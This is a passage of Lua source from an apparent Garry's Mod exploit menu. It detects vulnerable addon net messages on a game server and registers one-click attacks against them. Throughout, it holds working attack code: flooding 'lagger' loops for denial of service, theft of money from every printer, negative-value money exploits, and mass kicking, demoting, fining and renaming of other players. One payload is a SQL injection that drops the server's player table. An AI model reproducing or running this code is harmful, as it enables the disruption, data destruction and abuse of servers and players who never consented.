5517net.SendToServer()
5518inputFrame:SetVisible(false)
5519end
5520end )
5521end
5522
5523status = ValidNetString("chname")
5524if (status) then
5525CHATPRINT("Exploit Trouvé : Your RP Name #3 [chname]")
5526addExploit( "76","Your RP Name #3", "discovered by Leith", function()
5527surface.PlaySound("garrysmod/ui_click.wav")
5528inputFrameExists = true
5529inputFrame = vgui.Create( "DFrame" )
5530inputFrame:SetTitle("Enter your name")
5531inputFrame:SetSize( 400, 75 )
5532inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5533inputFrame:SetDraggable(false)
5534inputFrame:ShowCloseButton(true)
5535inputFrame:MakePopup()
5536inputFrame.Paint = function( self, w, h )
5537draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5538end
5539local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5540TextEntry:SetSize( 380, 30 )
5541TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5542TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5543TextEntry.OnEnter = function( self )
5544surface.PlaySound("garrysmod/ui_click.wav")
5545NOTIFICATION("Changed")
5546net.Start("chname")
5547net.WriteString( (self:GetValue()) )
5548net.WriteString(" ")
5549net.SendToServer()
5550inputFrame:SetVisible(false)
5551end
5552end )
5553end
5554
5555status = ValidNetString("AbilityUse")
5556if (status) then
5557CHATPRINT("Exploit Trouvé : Free Bonus [AbilityUse]")
5558addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
5559surface.PlaySound("garrysmod/ui_click.wav")
5560for k, v in ipairs(rp.abilities.list) do
5561CHATPRINT("ID - "..k.." | "..v:GetName())
5562inputFrameExists = true
5563inputFrame = vgui.Create( "DFrame" )
5564inputFrame:SetTitle("Enter the id of the bonus")
5565inputFrame:SetSize( 400, 75 )
5566inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5567inputFrame:SetDraggable(false)
5568inputFrame:ShowCloseButton(true)
5569inputFrame:MakePopup()
5570inputFrame.Paint = function( self, w, h )
5571draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5572end
5573local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5574TextEntry:SetSize( 380, 30 )
5575TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5576TextEntry:SetText( "6" )
5577TextEntry.OnEnter = function( self )
5578surface.PlaySound("garrysmod/ui_click.wav")
5579NOTIFICATION("Received")
5580net.Start("AbilityUse")
5581net.WriteInt(tonumber(self:GetValue()), 32)
5582net.SendToServer()
5583inputFrame:SetVisible(false)
5584end
5585end
5586end )
5587end
5588
5589status = ValidNetString("race_accept")
5590if (status) then
5591CHATPRINT("Exploit Trouvé : Get Car [race_accept]")
5592addExploit( "78","Get Car", "", function()
5593surface.PlaySound("garrysmod/ui_click.wav")
5594inputFrameExists = true
5595inputFrame = vgui.Create( "DFrame" )
5596inputFrame:SetTitle("Enter the id of the car")
5597inputFrame:SetSize( 400, 75 )
5598inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5599inputFrame:SetDraggable(false)
5600inputFrame:ShowCloseButton(true)
5601inputFrame:MakePopup()
5602inputFrame.Paint = function( self, w, h )
5603draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5604end
5605local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5606TextEntry:SetSize( 380, 30 )
5607TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5608TextEntry:SetText( "1" )
5609TextEntry.OnEnter = function( self )
5610surface.PlaySound("garrysmod/ui_click.wav")
5611NOTIFICATION("Starting")
5612net.Start("race_accept")
5613net.WriteInt(tonumber(self:GetValue()), 32)
5614net.SendToServer()
5615end
5616end )
5617end
5618
5619status = ValidNetString("NLR_SPAWN")
5620if (status) then
5621CHATPRINT("Exploit Trouvé : Respawn #3 [NLR_SPAWN]")
5622addExploit( "79","Respawn #3", "instant revival", function()
5623surface.PlaySound("garrysmod/ui_click.wav")
5624NOTIFICATION("Starting")
5625net.Start("NLR_SPAWN")
5626net.WriteEntity(LocalPlayer())
5627net.SendToServer()
5628end )
5629end
5630
5631status = ValidNetString("Kun_ZiptieStruggle")
5632if (status) then
5633CHATPRINT("Exploit Trouvé : Break Handcuffs [Kun_ZiptieStruggle]")
5634addExploit( "80","Break Handcuffs", "Instantly breaks the handcuffs", function()
5635surface.PlaySound("garrysmod/ui_click.wav")
5636NOTIFICATION("Starting")
5637for i=0,30 do
5638net.Start("Kun_ZiptieStruggle")
5639net.SendToServer()
5640end
5641end )
5642end
5643
5644status = ValidNetString("JB_Votekick")
5645if (status) then
5646CHATPRINT("Exploit Trouvé : Abuses Jailbreak Votekick [JB_Votekick]")
5647addExploit( "81","Abuses Jailbreak Votekick", "Kick Tous Le Monde", function()
5648surface.PlaySound("garrysmod/ui_click.wav")
5649NOTIFICATION("Starting")
5650for k,v in pairs(player.GetAll()) do
5651net.Start("JB_Votekick")
5652net.WriteEntity(v)
5653net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
5654net.SendToServer()
5655end
5656end )
5657end
5658
5659status = ValidNetString("Letthisdudeout")
5660if (status) then
5661CHATPRINT("Exploit Trouvé : ByB Force Bail [Letthisdudeout]")
5662addExploit( "82","ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
5663surface.PlaySound("garrysmod/ui_click.wav")
5664NOTIFICATION("Starting")
5665net.Start("Letthisdudeout")
5666net.WriteEntity(LocalPlayer())
5667net.SendToServer()
5668end )
5669end
5670
5671status = ValidNetString("opr_withdraw")
5672if (status) then
5673CHATPRINT("Exploit Trouvé : Lagger #14 [opr_withdraw]")
5674addExploit( "83","Lagger #14", "discovered by Leith", function()
5675surface.PlaySound("garrysmod/ui_click.wav")
5676NOTIFICATION("Starting")
5677timer.Create("lagger14", 0,0, function()
5678for i = 1, 1000 do
5679net.Start("opr_withdraw",true)
5680net.WriteEntity(LocalPlayer())
5681net.SendToServer()
5682end
5683end )
5684end )
5685end
5686
5687status = ValidNetString("NC_GetNameChange")
5688if (status) then
5689CHATPRINT("Exploit Trouvé : Change all names [NC_GetNameChange]")
5690addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
5691surface.PlaySound("garrysmod/ui_click.wav")
5692inputFrameExists = true
5693inputFrame = vgui.Create( "DFrame" )
5694inputFrame:SetTitle("Enter the name")
5695inputFrame:SetSize( 400, 75 )
5696inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5697inputFrame:SetDraggable(false)
5698inputFrame:ShowCloseButton(true)
5699inputFrame:MakePopup()
5700inputFrame.Paint = function( self, w, h )
5701draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5702end
5703local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5704TextEntry:SetSize( 380, 30 )
5705TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5706TextEntry:SetText( "AHAHAHAHAH" )
5707TextEntry.OnEnter = function( self )
5708surface.PlaySound("garrysmod/ui_click.wav")
5709NOTIFICATION("Starting")
5710for k, v in pairs( player.GetAll() ) do
5711net.Start("NC_GetNameChange")
5712net.WriteEntity(v)
5713net.WriteString( (self:GetValue()) )
5714net.WriteString( (self:GetValue()) )
5715net.SendToServer()
5716end
5717end
5718end )
5719end
5720
5721status = ValidNetString("revival_revive_accept")
5722if (status) then
5723CHATPRINT("Exploit Trouvé : Reanimation #2 [revival_revive_accept]")
5724addExploit( "85","Reanimation #2", "instant revival, discovered by Leith", function()
5725surface.PlaySound("garrysmod/ui_click.wav")
5726if !timer.Exists( "exploit_revive" ) then
5727NOTIFICATION( "Enabled" )
5728timer.Create( "exploit_revive", 0.5, 0, function()
5729if !LocalPlayer():Alive() then
5730net.Start("revival_revive_accept")
5731net.SendToServer()
5732end
5733end )
5734else
5735timer.Remove( "exploit_revive" )
5736NOTIFICATION( "Disabled" )
5737end
5738end )
5739end
5740
5741status = ValidNetString("join_disconnect")
5742if (status) then
5743CHATPRINT("Exploit Trouvé : Lagger #15 [join_disconnect]")
5744addExploit( "86","Lagger #15", "b1g lags my duder", function()
5745surface.PlaySound("garrysmod/ui_click.wav")
5746NOTIFICATION("Starting")
5747if not timer.Exists("lagger15") then
5748timer.Create("lagger15", 0.5, 0, function()
5749for i = 1, 3000 do
5750net.Start("join_disconnect",true)
5751net.WriteEntity(table.Random(player.GetAll()))
5752net.SendToServer()
5753end
5754end)
5755else
5756timer.Remove("lagger15")
5757NOTIFICATION("Stopping")
5758end
5759end )
5760end
5761
5762status = ValidNetString("BuyFirstTovar")
5763if (status) then
5764CHATPRINT("Exploit Trouvé : Free Physgun [BuyFirstTovar]")
5765addExploit( "87","Free Physgun", "get physgun", function()
5766surface.PlaySound("garrysmod/ui_click.wav")
5767NOTIFICATION("Take physgun")
5768net.Start("BuyFirstTovar")
5769net.WriteString("0")
5770net.SendToServer()
5771end )
5772end
5773
5774status = ValidNetString("BuySecondTovar")
5775if (status) then
5776CHATPRINT("Exploit Trouvé : Free Gravitygun [BuySecondTovar]")
5777addExploit( "88","Free Gravitygun", "get gravitygun", function()
5778surface.PlaySound("garrysmod/ui_click.wav")
5779NOTIFICATION("Take gravitygun")
5780net.Start("BuySecondTovar")
5781net.WriteString("0")
5782net.SendToServer()
5783end )
5784end
5785
5786status = ValidNetString("MONEY_SYSTEM_GetWeapons")
5787if (status) then
5788CHATPRINT("Exploit Trouvé : Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
5789addExploit( "89","Give Weapons #2", "get weapons", function()
5790surface.PlaySound("garrysmod/ui_click.wav")
5791NOTIFICATION("Starting")
5792for i = 1,32 do
5793net.Start("MONEY_SYSTEM_GetWeapons")
5794net.WriteInt(i, 8)
5795net.SendToServer()
5796end
5797end )
5798end
5799
5800status = ValidNetString("MCon_Demote_ToServer")
5801if (status) then
5802CHATPRINT("Exploit Trouvé : Demote All Players #2 [MCon_Demote_ToServer]")
5803addExploit( "90","Demote All Players #2", "demote all players", function()
5804surface.PlaySound("garrysmod/ui_click.wav")
5805NOTIFICATION("Starting")
5806for k,v in pairs(player.GetAll()) do
5807net.Start("MCon_Demote_ToServer")
5808net.WriteString(v:SteamID())
5809net.SendToServer()
5810end
5811end )
5812end
5813
5814status = ValidNetString("withdrawMoney")
5815if (status) then
5816CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #3 [withdrawMoney]")
5817addExploit( "91","Voler L'argents De Tous #3", "withdraw money from all printers, discovered by Leith", function()
5818surface.PlaySound("garrysmod/ui_click.wav")
5819NOTIFICATION("Starting")
5820for k, v in pairs(ents.GetAll()) do
5821net.Start("withdrawMoney")
5822net.WriteEntity(v)
5823net.SendToServer()
5824end
5825end )
5826end
5827
5828status = ValidNetString("withdrawMoney")
5829if (status) then
5830CHATPRINT("Exploit Trouvé : Lagger #16 [withdrawMoney]")
5831addExploit( "92","Lagger #16", "discovered by Leith", function()
5832surface.PlaySound("garrysmod/ui_click.wav")
5833NOTIFICATION("Starting")
5834timer.Create("lagger16", 0, 0, function()
5835for i=1,1000 do
5836net.Start("withdrawMoney",true)
5837net.WriteEntity(LocalPlayer())
5838net.SendToServer()
5839end
5840end )
5841end )
5842end
5843
5844status = ValidNetString("SyncPrinterButtons76561198027292625")
5845if (status) then
5846CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #4 [SyncPrinterButtons76561198027292625]")
5847addExploit( "93","Voler L'argents De Tous #4", "withdraw money from all printers", function()
5848surface.PlaySound("garrysmod/ui_click.wav")
5849NOTIFICATION("Starting")
5850for k, v in pairs(ents.GetAll()) do
5851net.Start("SyncPrinterButtons76561198027292625")
5852net.WriteEntity(v)
5853net.WriteUInt(2, 4)
5854net.SendToServer()
5855end
5856end )
5857end
5858
5859status = ValidNetString("gPrinters.retrieveMoney")
5860if (status) then
5861CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #5 [gPrinters.retrieveMoney]")
5862addExploit( "94","Voler L'argents De Tous #5", "withdraw money from all printers, discovered by Leith", function()
5863surface.PlaySound("garrysmod/ui_click.wav")
5864NOTIFICATION("Starting")
5865for k, v in pairs(ents.GetAll()) do
5866net.Start("gPrinters.retrieveMoney")
5867net.WriteEntity(v)
5868net.SendToServer()
5869end
5870end )
5871end
5872
5873status = ValidNetString("gPrinters.retrieveMoney")
5874if (status) then
5875CHATPRINT("Exploit Trouvé : Lagger #17 [gPrinters.retrieveMoney]")
5876addExploit( "95","Lagger #17", "discovered by Leith", function()
5877surface.PlaySound("garrysmod/ui_click.wav")
5878NOTIFICATION("Starting")
5879timer.Create("lagger17", 0, 0, function()
5880for i=1,1000 do
5881net.Start("gPrinters.retrieveMoney",true)
5882net.WriteEntity(LocalPlayer())
5883net.SendToServer()
5884end
5885end )
5886end )
5887end
5888
5889status = ValidNetString("NGII_TakeMoney")
5890if (status) then
5891CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #6 [NGII_TakeMoney]")
5892addExploit( "96","Voler L'argents De Tous #6", "withdraw money from all printers", function()
5893surface.PlaySound("garrysmod/ui_click.wav")
5894NOTIFICATION("Starting")
5895for k, v in pairs(ents.GetAll()) do
5896net.Start("NGII_TakeMoney")
5897net.WriteEntity(v)
5898net.WriteEntity(LocalPlayer())
5899net.SendToServer()
5900end
5901end )
5902end
5903
5904status = ValidNetString("money_clicker_withdraw")
5905if (status) then
5906CHATPRINT("Exploit Trouvé : Lagger #18 [money_clicker_withdraw]")
5907addExploit( "97","Lagger #18", "discovered by Leith", function()
5908surface.PlaySound("garrysmod/ui_click.wav")
5909NOTIFICATION("Starting")
5910timer.Create("lagger18", 0, 0, function()
5911for i=1,1000 do
5912net.Start("money_clicker_withdraw",true)
5913net.WriteEntity(LocalPlayer())
5914net.SendToServer()
5915end
5916end )
5917end )
5918end
5919
5920status = ValidNetString("opr_withdraw")
5921if (status) then
5922CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #7 [opr_withdraw]")
5923addExploit( "98","Voler L'argents De Tous #7", "withdraw money from all printers", function()
5924surface.PlaySound("garrysmod/ui_click.wav")
5925NOTIFICATION("Starting")
5926for k, v in pairs(ents.GetAll()) do
5927net.Start("opr_withdraw")
5928net.WriteEntity(v)
5929net.SendToServer()
5930end
5931end )
5932end
5933
5934status = ValidNetString("NET_DoPrinterAction")
5935if (status) then
5936CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #8 [NET_DoPrinterAction]")
5937addExploit( "99","Voler L'argents De Tous #8", "withdraw money from all printers", function()
5938surface.PlaySound("garrysmod/ui_click.wav")
5939NOTIFICATION("Starting")
5940for k, v in pairs(ents.GetAll()) do
5941if v:GetClass():find("print") then
5942net.Start("NET_DoPrinterAction")
5943net.WriteEntity(LocalPlayer())
5944net.WriteEntity(v)
5945net.WriteInt(2,16)
5946net.SendToServer()
5947end
5948end
5949end )
5950end
5951
5952status = ValidNetString("tickbooksendfine")
5953if (status) then
5954CHATPRINT("Exploit Trouvé : Ticket Book [tickbooksendfine]")
5955addExploit( "100","Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
5956surface.PlaySound("garrysmod/ui_click.wav")
5957NOTIFICATION("Starting")
5958local reasonstable = {"Nice nan ? :D"}
5959for k, v in pairs(player.GetAll()) do
5960if v != LocalPlayer() then
5961net.Start("tickbooksendfine")
5962net.WriteString(v:SteamID())
5963net.WriteTable(reasonstable)
5964net.WriteDouble(1500, 32)
5965net.SendToServer()
5966end
5967end
5968end )
5969end
5970
5971status = ValidNetString("SyncPrinterButtons16690")
5972if (status) then
5973CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #9 [SyncPrinterButtons16690]")
5974addExploit( "101","Voler L'argents De Tous #9", "withdraw money from all printers", function()
5975surface.PlaySound("garrysmod/ui_click.wav")
5976NOTIFICATION("Starting")
5977for k, v in pairs(ents.GetAll()) do
5978if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
5979net.Start("SyncPrinterButtons16690")
5980net.WriteEntity(v)
5981net.WriteUInt(2, 4)
5982net.SendToServer()
5983end
5984end
5985end)
5986end
5987
5988status = ValidNetString("withdrawp")
5989if (status) then
5990CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #10 [withdrawp]")
5991addExploit( "102","Voler L'argents De Tous #10", "withdraw money from all printers", function()
5992surface.PlaySound("garrysmod/ui_click.wav")
5993NOTIFICATION("Starting")
5994for k,v in pairs(ents.FindByClass("derma_printer")) do
5995net.Start("withdrawp")
5996net.WriteEntity(v)
5997net.SendToServer()
5998end
5999end)
6000end
6001
6002status = ValidNetString("withdrawp")
6003if (status) then
6004CHATPRINT("Exploit Trouvé : Lagger #19 [withdrawp]")
6005addExploit( "103","Lagger #19", "discovered by Leith", function()
6006surface.PlaySound("garrysmod/ui_click.wav")
6007NOTIFICATION("Starting")
6008timer.Create("lagger19", 0, 0, function()
6009for i=1,1000 do
6010net.Start("withdrawp",true)
6011net.WriteEntity(LocalPlayer())
6012net.SendToServer()
6013end
6014end )
6015end )
6016end
6017
6018status = ValidNetString("DarkRP_SS_Gamble")
6019if (status) then
6020CHATPRINT("Exploit Trouvé : Argent Gratuite #3 [DarkRP_SS_Gamble]")
6021addExploit( "104","Argent Gratuite #3", "an exploit in the addon 'DarkRP Casino'", function()
6022surface.PlaySound("garrysmod/ui_click.wav")
6023NOTIFICATION("Starting")
6024net.Start("DarkRP_SS_Gamble")
6025net.WriteInt(99999, 32)
6026net.WriteInt(1, 32)
6027net.WriteInt(0, 32)
6028net.WriteInt(0, 32)
6029net.WriteInt(1, 32)
6030net.SendToServer()
6031end )
6032end
6033
6034status = ValidNetString("PCAdd")
6035if (status) then
6036CHATPRINT("Exploit Trouvé : Delete Promocode [PCAdd]")
6037addExploit( "105","Delete Promocode", "delete all promocodes", function()
6038surface.PlaySound("garrysmod/ui_click.wav")
6039NOTIFICATION("Starting")
6040net.Start("PCAdd")
6041net.WriteString("alahman")
6042net.WriteString("300000000")
6043net.SendToServer()
6044timer.Simple(3,function()
6045net.Start("ActivatePC")
6046net.WriteString("alahman")
6047net.SendToServer()
6048net.Start("PCDelAll")
6049net.SendToServer()
6050end )
6051end )
6052end
6053
6054status = ValidNetString("viv_hl2rp_disp_message")
6055if (status) then
6056CHATPRINT("Exploit Trouvé : HL2 Disp Message [viv_hl2rp_disp_message]")
6057addExploit( "106","HL2 Disp Message", "hl2 voice commands", function()
6058surface.PlaySound("garrysmod/ui_click.wav")
6059NOTIFICATION("Starting")
6060for name, command in pairs (dispatchCommands) do
6061net.Start("viv_hl2rp_disp_message")
6062net.WriteString(command)
6063net.SendToServer()
6064end
6065end )
6066end
6067
6068status = ValidNetString("Kun_SellDrug")
6069if (status) then
6070CHATPRINT("Exploit Trouvé : Argent Gratuite #4 [Kun_SellDrug]")
6071addExploit( "107","Argent Gratuite #4", "get monies", function()
6072surface.PlaySound("garrysmod/ui_click.wav")
6073if !timer.Exists( "freemoney4" ) then
6074NOTIFICATION("Starting")
6075timer.Create( "freemoney4", 0, 0, function()
6076for i=1,1000 do
6077net.Start("Kun_SellDrug")
6078net.WriteString("mushroom")
6079net.SendToServer()
6080end
6081end)
6082else
6083timer.Remove( "freemoney4" )
6084NOTIFICATION("Stopping")
6085end
6086end )
6087end
6088
6089status = ValidNetString("net_PSUnBoxServer")
6090if (status) then
6091CHATPRINT("Exploit Trouvé : Point Shop Unbox [net_PSUnBoxServer]")
6092addExploit( "108","Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
6093surface.PlaySound("garrysmod/ui_click.wav")
6094NOTIFICATION("Starting")
6095for k,v in pairs(player.GetAll()) do
6096local i = 0
6097for k2,v2 in pairs(PS.Items) do
6098if !v:PS_HasItem(v2.ID) then
6099timer.Simple(k*i*1.7,function()
6100net.Start("net_PSUnBoxServer")
6101net.WriteEntity(v)
6102net.WriteString(v2.ID)
6103net.SendToServer()
6104end)
6105i = i + 1
6106end
6107end
6108end
6109end )
6110end
6111
6112status = ValidNetString("pplay_sendtable")
6113if (status) then
6114CHATPRINT("Exploit Trouvé : ☢ Fuck the SQL database ☢ [pplay_sendtable]")
6115addExploit( "109","☢ Fuck the SQL database ☢", "fuck all", function()
6116surface.PlaySound("garrysmod/ui_click.wav")
6117NOTIFICATION("Starting")
6118local tbl = {}
6119tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
6120tbl.ply = LocalPlayer()
6121net.Start("pplay_sendtable")
6122net.WriteTable(tbl)
6123net.SendToServer()
6124end )
6125end
6126
6127status = ValidNetString("75_plus_win")
6128if (status) then
6129CHATPRINT("Exploit Trouvé : Argent Gratuite #5 [75_plus_win]")
6130addExploit( "110","Argent Gratuite #5", "Recevoir De L'Argent", function()
6131surface.PlaySound("garrysmod/ui_click.wav")
6132NOTIFICATION("Starting")
6133net.Start("75_plus_win")
6134net.WriteString("99999999")
6135net.WriteEntity(LocalPlayer())
6136net.SendToServer()
6137end )
6138end
6139
6140status = ValidNetString("ATMDepositMoney")
6141if (status) then
6142CHATPRINT("Exploit Trouvé : Argent Gratuite #6 [ATMDepositMoney]")
6143addExploit( "111","Argent Gratuite #6", "an exploit in 'ATM'", function()
6144surface.PlaySound("garrysmod/ui_click.wav")
6145NOTIFICATION("Starting")
6146net.Start("ATMDepositMoney")
6147net.WriteFloat(-9999999)
6148net.SendToServer()
6149end )
6150end
6151
6152status = ValidNetString("SellMinerals")
6153if (status) then
6154CHATPRINT("Exploit Trouvé : Argent Gratuite #7 [SellMinerals]")
6155addExploit( "112","Argent Gratuite #7", "an exploit in 'eMining'", function()
6156surface.PlaySound("garrysmod/ui_click.wav")
6157NOTIFICATION("Starting")
6158for k,v in pairs(SkillDB) do
6159if not ( v.iSkill == true ) then
6160net.Start("Upgrade")
6161net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
6162net.SendToServer()
6163net.Start("SellMinerals")
6164net.WriteTable({ Target = LocalPlayer() })
6165net.SendToServer()
6166end
6167end
6168end )
6169end
6170
6171status = ValidNetString("TakeBetMoney")
6172if (status) then
6173CHATPRINT("Exploit Trouvé : Argent Gratuite #8 [TakeBetMoney]")
6174addExploit( "113","Argent Gratuite #8", "Recevoir De L'Argent", function()
6175surface.PlaySound("garrysmod/ui_click.wav")
6176NOTIFICATION("Starting")
6177net.Start("TakeBetMoney")
6178net.WriteTable({1e333333 , 1e333333})
6179net.SendToServer()
6180end )
6181end
6182
6183status = ValidNetString("Kun_SellOil")
6184if (status) then
6185CHATPRINT("Exploit Trouvé : Argent Gratuite #9 [Kun_SellOil]")
6186addExploit( "114","Argent Gratuite #9", "Recevoir De L'Argent", function()
6187surface.PlaySound("garrysmod/ui_click.wav")
6188NOTIFICATION("Starting")
6189for k,v in pairs(ents.GetAll()) do
6190net.Start("Kun_SellOil")
6191net.WriteEntity(v)
6192net.SendToServer()
6193end
6194end )
6195end
6196
6197status = ValidNetString("DepositMoney")
6198if (status) then
6199CHATPRINT("Exploit Trouvé : Argent Gratuite #10 [DepositMoney]")
6200addExploit( "115","Argent Gratuite #10", "Recevoir De L'Argent", function()
6201surface.PlaySound("garrysmod/ui_click.wav")
6202NOTIFICATION("Starting")
6203net.Start("DepositMoney")
6204for k,v in pairs(ents.GetAll()) do
6205net.WriteEntity(v)
6206net.WriteString(-100000000 )
6207net.WriteEntity(LocalPlayer())
6208net.SendToServer()
6209end
6210end )
6211end
6212
6213status = ValidNetString("NET_SS_DoBuyTakeoff")
6214if (status) then
6215CHATPRINT("Exploit Trouvé : Argent Gratuite #11 [NET_SS_DoBuyTakeoff]")
6216addExploit( "116","Argent Gratuite #11", "Recevoir De L'Argent", function()
6217surface.PlaySound("garrysmod/ui_click.wav")
6218NOTIFICATION("Starting")
6219net.Start("NET_SS_DoBuyTakeoff",true)
6220net.WriteEntity(LocalPlayer())
6221net.WriteEntity(table.Random(player.GetAll()))
6222net.WriteTable({})
6223net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
6224net.SendToServer()
6225end )
6226end
6227
6228status = ValidNetString("NET_EcSetTax")
6229if (status) then
6230CHATPRINT("Exploit Trouvé : Argent Gratuite #12 [NET_EcSetTax]")
6231addExploit( "117","Argent Gratuite #12", "Recevoir De L'Argent", function()
6232surface.PlaySound("garrysmod/ui_click.wav")
6233NOTIFICATION("Starting")
6234net.Start("NET_EcSetTax")
6235net.WriteInt(-9999999999, 16)
6236net.SendToServer()
6237end )
6238end
6239
6240status = ValidNetString("RP_Accept_Fine")
6241if (status) then
6242CHATPRINT("Exploit Trouvé : Argent Gratuite #13 [RP_Accept_Fine]")
6243addExploit( "118","Argent Gratuite #13", "Recevoir De L'Argent", function()
6244surface.PlaySound("garrysmod/ui_click.wav")
6245NOTIFICATION("Starting")
6246for k,v in pairs(player.GetAll())do
6247net.Start("RP_Accept_Fine")
6248net.WriteString(v:Nick())
6249net.WriteDouble(-999999999999)
6250net.SendToServer()
6251end
6252end )
6253end
6254
6255status = ValidNetString("drugseffect_remove")
6256if (status) then
6257CHATPRINT("Exploit Trouvé : Remove Weapons [drugseffect_remove]")
6258addExploit( "119","Remove Weapons", "remove all weapons", function()
6259surface.PlaySound("garrysmod/ui_click.wav")
6260NOTIFICATION("Starting")
6261net.Start("drugseffect_remove")
6262net.SendToServer()
6263end )
6264end
6265
6266status = ValidNetString("drugs_money")
6267if (status) then
6268CHATPRINT("Exploit Trouvé : Remove Money [drugs_money]")
6269addExploit( "120","Remove Money", "remove all money", function()
6270surface.PlaySound("garrysmod/ui_click.wav")
6271NOTIFICATION("Starting")
6272net.Start("drugs_money")
6273net.SendToServer()
6274end )
6275end
6276
6277status = ValidNetString("CRAFTINGMOD_SHOP")
6278if (status) then
6279CHATPRINT("Exploit Trouvé : Argent Gratuite #14 [CRAFTINGMOD_SHOP]")
6280addExploit( "121","Argent Gratuite #14", "an exploit in 'crafting mod'", function()
6281surface.PlaySound("garrysmod/ui_click.wav")
6282NOTIFICATION("Starting")
6283net.Start("CRAFTINGMOD_SHOP")
6284net.WriteTable({
6285BUY = -9999999;
6286type = 1
6287})
6288net.WriteInt(1,16)
6289net.SendToServer()
6290end )
6291end
6292
6293status = ValidNetString("drugs_ignite")
6294if (status) then
6295CHATPRINT("Exploit Trouvé : Fire Players [drugs_ignite]")
6296addExploit( "122","Fire Players", "", function()
6297surface.PlaySound("garrysmod/ui_click.wav")
6298NOTIFICATION("Starting")
6299net.Start("drugs_ignite")
6300net.WriteString("player")
6301net.SendToServer()
6302end )
6303end
6304
6305status = ValidNetString("drugs_ignite")
6306if (status) then
6307CHATPRINT("Exploit Trouvé : Fire Props [drugs_ignite]")
6308addExploit( "123","Fire Props", "", function()
6309surface.PlaySound("garrysmod/ui_click.wav")
6310NOTIFICATION("Starting")
6311net.Start("drugs_ignite")
6312net.WriteString("prop_physics")
6313net.SendToServer()
6314end )
6315end
6316
6317status = ValidNetString("drugseffect_hpremove")
6318if (status) then
6319CHATPRINT("Exploit Trouvé : Change HP [drugseffect_hpremove]")
6320addExploit( "124","Change HP", "", function()
6321surface.PlaySound("garrysmod/ui_click.wav")
6322NOTIFICATION("Starting")
6323net.Start("drugseffect_hpremove")
6324net.WriteString(99999)
6325net.SendToServer()
6326end )
6327end
6328
6329status = ValidNetString("drugs_text")
6330if (status) then
6331CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props #2 [drugs_text]")
6332addExploit( "125","Supprimer Tous Les Props #2", "", function()
6333surface.PlaySound("garrysmod/ui_click.wav")
6334NOTIFICATION("Starting")
6335net.Start("drugs_text")
6336net.WriteString("prop_physics")
6337net.SendToServer()
6338end )
6339end
6340
6341status = ValidNetString("drugs_give")
6342if (status) then
6343CHATPRINT("Exploit Trouvé : Give Everyone RPG [drugs_give]")
6344addExploit( "126","Give Everyone RPG", "", function()
6345surface.PlaySound("garrysmod/ui_click.wav")
6346NOTIFICATION("Starting")
6347net.Start("drugs_give")
6348net.WriteString("weapon_rpg")
6349net.SendToServer()
6350end )
6351end
6352
6353status = ValidNetString("drugs_text")
6354if (status) then
6355CHATPRINT("Exploit Trouvé : Remove Water [drugs_text]")
6356addExploit( "127","Remove Water", "", function()
6357surface.PlaySound("garrysmod/ui_click.wav")
6358NOTIFICATION("Starting")
6359net.Start("drugs_text")
6360net.WriteString("func_water_analog")
6361net.SendToServer()
6362end )
6363end
6364
6365status = ValidNetString("drugs_effect")
6366if (status) then
6367local eye = LocalPlayer():GetEyeTrace().Entity
6368local send = "del|"..eye:EntIndex()
6369CHATPRINT("Exploit Trouvé : Remove looking at [drugs_effect]")
6370addExploit( "128","Remove looking at", "", function()
6371surface.PlaySound("garrysmod/ui_click.wav")
6372NOTIFICATION("Starting")
6373net.Start("drugs_effect")
6374net.WriteString(send)
6375net.SendToServer()
6376end )
6377end
6378
6379status = ValidNetString("RecKickAFKer")
6380if (status) then
6381CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #2 [RecKickAFKer]")
6382addExploit( "129","Kick Tous Le Monde #2", "Kick Tous Le Monde", function()
6383surface.PlaySound("garrysmod/ui_click.wav")
6384NOTIFICATION("Starting")
6385for k, v in pairs( player.GetAll() ) do
6386net.Start("RecKickAFKer")
6387net.WriteEntity(v)
6388net.SendToServer()
6389end
6390end )
6391end
